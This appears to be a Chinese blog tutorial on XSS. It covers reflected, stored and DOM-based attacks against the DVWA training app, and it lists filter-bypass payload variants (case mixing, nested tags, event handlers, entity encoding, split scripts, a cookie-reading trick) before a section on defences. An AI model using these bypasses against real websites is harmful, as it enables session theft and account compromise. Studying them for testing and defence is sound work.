XSS简述&入门

上课上自闭了,我真的不是web手也打不来web题……
写个总结,算是补上一年前跟大佬py到的那两道web的wp。
……我怎么总在搞给过去的自己打补丁这种沙雕行为(。
建议结合2019-03-17 XSS实验报告观看。

XSS类型

反射型XSS

反射型XSS只是简单的把用户输入的数据“反射”给浏览器,也称为非持久型XSS(Non-persistent XSS),特点为单击时触发,执行一次。

应用

通常出现在网站的搜索栏、用户登入口等地方。

<script>alert(1)</script>
过滤字符的应对

此处以DVWA为例。
在Medium级别中,关键代码如下所示:

可以看到只过滤了<script>字符串,常用方法有更改大小写或双写以拼接script等,其他绕过方法详见文章“常见XSS变形”一节。

<Script>alert(1)</sCript>
<sc<script>ript>alert(222)</script>

在High级别中,关键代码如下所示:

关于上图代码中的正则表达式的说明如下,正则的更多语法和说明请参考文末链接。

代码 说明
. 匹配除换行符以外的任意字符
* 重复零次或更多次

我们已经提到了怎么重复单个字符(直接在字符后面加上限定符就行了);但如果想要重复多个字符又该怎么办?你可以用小括号来指定子表达式(也叫做分组),然后你就可以指定这个子表达式的重复次数了,你也可以对子表达式进行其它一些操作(后面会有介绍)。

可以看到对<script做了正则搜索(.*)和大小写过滤/i,双写和大小写混淆不再有效,但没有做更多限制。因此可以选择放弃使用<script>标签,转而利用事件实现XSS。

<img src="" onerror="alert(1)"/>
<iframe onload=alert(1) style="display:none"></iframe>

存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端,又称为“持久型XSS”。
攻击者事先将恶意js代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意js代码的页面就会执行恶意代码,不需单击即可触发。

应用

多见于网页留言板、评论等,常见应对方法包括在前端或后台限制输入长度、或做敏感字符过滤等。

限制长度的应对

前端限制长度只需f12开控制台更改代码即可,也可采用抓包更改传输数据。

后台数据库限制长度可采用注释绕过或拼接绕过,其中“利用注释绕过”这一方法现举例如下。
此处先提交*/cookie</script>是由于后台的留言按时间倒序显示,因此会拼接为<script>alert(doucument./*被注释的代码*/cookie)</script>

过滤字符的应对

此处以DVWA为例。
在Medium级别中,关键代码如下所示:


可以看到虽然对$message变量做了htmlspecialchars()转换,但对$name的过滤却只过滤了<script>字符串,因此只要从$name着手即可。
此处举两个例子,其他绕过方法详见文章“常见XSS变形”一节。

<Script>alert(1)</sCript>
<sc<script>ript>alert(222)</script>

在High级别中,关键代码如下所示:

可以看到和反射型XSS的High级别相似,虽然过滤了<script标签,但没有做更多过滤,可以创建事件以进行XSS攻击。

更多过滤和绕过方法可以参考去年杭电week2的web题wp:
https://github.com/vidar-team/Hgame2018_writeup/blob/master/week2/official_wp/week2_web_wp.pdf

DOM型XSS

DOM型XSS是一种基于DOM树的XSS,通过修改页面的DOM(Document Object Model,文档对象模型)节点形成XSS。
例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。如果按照“是否保存在服务器端”来划分,DOM型XSS也是反射型XSS。

应用

可能触发DOM型XSS的属性:

document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
……

此处仍以DVWA为例。
在Medium级别中,代码如下

<?php 
// Is there any input? 
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { 
    $default = $_GET['default']; 
    # Do not allow script tags 
    if (stripos ($default, "<script") !== false) { 
        header ("location: ?default=English"); 
        exit; 
    } 
} 
?>  

可以看出过滤了<script,因此可以选择利用事件,构建语句:<img src='x' onerror='alert(1)'>,但输入后无事发生(。查看源代码:

可以发现语句被插入到了value值中。为此,需要闭合前面的标签,即<select><option。构建exp如下:

/?default=English></option></select><img src='x' onerror='alert(1)'>

此时拼接如下图:

在High级别中,代码如下

<?php 
// Is there any input? 
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { 
    # White list the allowable languages 
    switch ($_GET['default']) { 
        case "French": 
        case "English": 
        case "German": 
        case "Spanish": 
            # ok 
            break; 
        default: 
            header ("location: ?default=English"); 
            exit; 
    } 
} 
?> 

url中字符#后的数据不会发送到服务器端,从而绕过服务端过滤。构造exp为:

/?default=English#<script>alert(1)</script>

常见XSS变形

根据过滤代码的写法采取不同的变形以绕过过滤,常见的有以下几种。

1. 扰乱过滤规则

大小写转换
<script>alert(1)</script>
<Script>alert(1)</sCript>
引号的引用
@ 无引号
<Img sRc=# Onerror=alert(/xss/) />
@ 单引号
<Img sRc='#' Onerror='alert(/xss/)' />
@ 双引号
<Img sRc="#" Onerror="alert(/xss/)" />

表格引用自 XSS绕过 - N1nG - CSDN

类型 写法
一个正常的XSS输入 <img src="javascript:alert(0);">
转换大小写后的XSS <IMG SRC="javascript:alert(0);">
大小写混淆的XSS <iMg sRc="jaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS <img src='javascript:alert(0);'>
不使用引号的XSS <img src=javascript:alert(0);>

关于引号的作用,请阅读XSS 攻击时怎么绕过 htmlspecialchars 函数呢? - 梧桐雨的回答 - 知乎及文末拓展阅读。

2. 利用 / 代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

3. CSS中变形

@ 使用全角字符
<style>body{background-image:expression(alert(/xss/));}</style>    
@ 注释会被浏览器忽略
<style>
body{background-image:expre/***/ssion(alert(/xss/))}
</style>    
@ 样式表中的\ 和\0 同样会被浏览器忽略
<style>@import 'javasc\ri\0pt:alert("xss")';</style>

4. 利用空格、Tab或回车

@ 利用Tab
<A hREf="j  avascript:alert(/xss/)">click me!</a>
@ 利用回车
<img src="javas
cript:
alert(/xss/)" width=100>

5. 对标签属性值进行转码

@ 将字符转为十进制或十六进制,例如
a    97     &#97;     &#x61;   
e    101    &#101;    &#x65;
<A hREf="j    &#97;v&#x61;script:alert(/xss/)">click me!</a>

6. 拆分跨站

@ 拼接
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
@ 注释
<script>alert(doucument./*
*/cookie</script>

常见应对XSS方法

  • 输入输出检查并对敏感字符编码,如<转成&lt;

    • 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<script>JavaScript<>。常使用preg_replace()函数,如preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    • 在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。如php可以使用htmlentities()函数及htmlspecialchars()函数;JavascriptEncode使用escapeJavascript()函数来转义、<>\&#等,同时要求输出变量必须在引号内部。在Java中也存在第三方组件支持过滤XSS漏洞,如JSOUP、OWASP Esapi、xssprotext等。
  • 黑名单,白名单

    • 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签:<iframe><base><script><form>等。
    • 在标签的选择上,应该使用白名单,如只允许<a><img><div>等比较安全的标签

参考资料&拓展阅读





最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,794评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,050评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,587评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,861评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,901评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,898评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,832评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,617评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,077评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,349评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,483评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,199评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,824评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,442评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,632评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,474评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,393评论 2 352